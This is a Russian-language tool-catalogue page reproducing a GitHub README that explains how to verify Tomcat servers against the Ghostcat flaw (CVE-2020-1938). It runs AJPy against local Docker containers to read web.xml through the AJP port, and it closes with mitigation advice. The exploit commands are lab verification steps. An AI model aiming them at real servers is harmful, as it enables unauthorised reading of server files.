Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
ghostcat-verification — Сведения о том, как проверить уязвимость к Ghostcat (также известный как CVE-2020-1938) | Kitploit
Инструменты/GitHubGitHub/shaunmclernon/ghostcat-verification
Анализ уязвимостейЭксплуатацияВеб-безопасностьОбучение и ОбразованиеЛаборатории и Практика
GitHubshaunmclernon/ghostcat-verification

ghostcat-verification

Сведения о том, как проверить уязвимость к Ghostcat (также известный как CVE-2020-1938)

Репозиторий
116 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Проверка Ghostcat (CVE-2020-1938)

Краткое описание

Обнаружен новый эксплойт под названием Ghostcat CVE-2020-1938, см. статьи на snyk и tenable для получения подробной информации и анализа самого эксплойта.

В моём случае я хотел проверить, какие серверы Tomcat уязвимы, и если да, то как это проявляется. Таким образом, этот эксперимент предназначен для проверки Tomcat 7, 8 и 9.

Предварительные требования

  • docker
  • python
  • git

Чтение файла с помощью CVE-2020-1938 на Tomcat 7

TODO: Как проверить, уязвим ли Tomcat 7?

Чтение файла с помощью CVE-2020-1938 на Tomcat 8

Вместо тестирования эксплойтов на живых серверах я использую существующие сборки Tomcat для проведения своего эксперимента с помощью AJPy, который создаёт AJP-запросы для взаимодействия с AJP-коннекторами.

root@kitploit:~
git clone --recurse-submodules [email protected]:shaunmclernon/ghostcat-verification.git
cd ghostcat-verification/AJPy
docker run --name tomcat --rm -d -p 8080:8080 -p 8009:8009 tomcat:8.5.32
python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
docker stop tomcat

Если он возвращает web.xml, то эта версия Tomcat уязвима для эксплойта.

Если мы попробуем тот же тест с последней версией Tomcat 8.5, мы увидим, что она не уязвима для данной ошибки.

root@kitploit:~
docker run --name tomcat --rm -d -p 8080:8080 -p 8009:8009 tomcat:8.5
python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
docker stop tomcat

В этом случае мы должны получить ошибку Python, что фактически означает, что сервер не уязвим;

root@kitploit:~
Traceback (most recent call last):
  File "tomcat.py", line 377, in <module>
    hdrs, data = bf.perform_request("/" + args.webapp + "/xxxxx.jsp", attributes=attributes)
    ...
    ...
struct.error: unpack requires a buffer of 5 bytes

Чтение файла с помощью CVE-2020-1938 на Tomcat 9

TODO: Как проверить, уязвим ли Tomcat 9?

Springboot

TODO: Как проверить, уязвим ли сервис Springboot?

Смягчение

Очевидно, если уязвимо (независимо от версии), вам следует рассмотреть обновление до исправленных версий. Другой вариант — заблокировать доступ к порту AJP.

Запустите ту же версию Tomcat, но не открывайте порт AJP 8009.

root@kitploit:~
docker run --name tomcat --rm -d -p 8080:8080 tomcat:8.5.32
python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
docker stop tomcat

В этом случае мы видим, что эксплойт не сможет атаковать сервер.

Отказ от ответственности

Я не являюсь специалистом по безопасности, и этот репозиторий создан для моих учебных целей, он не предназначен для злонамеренного использования.

Скачать инструмент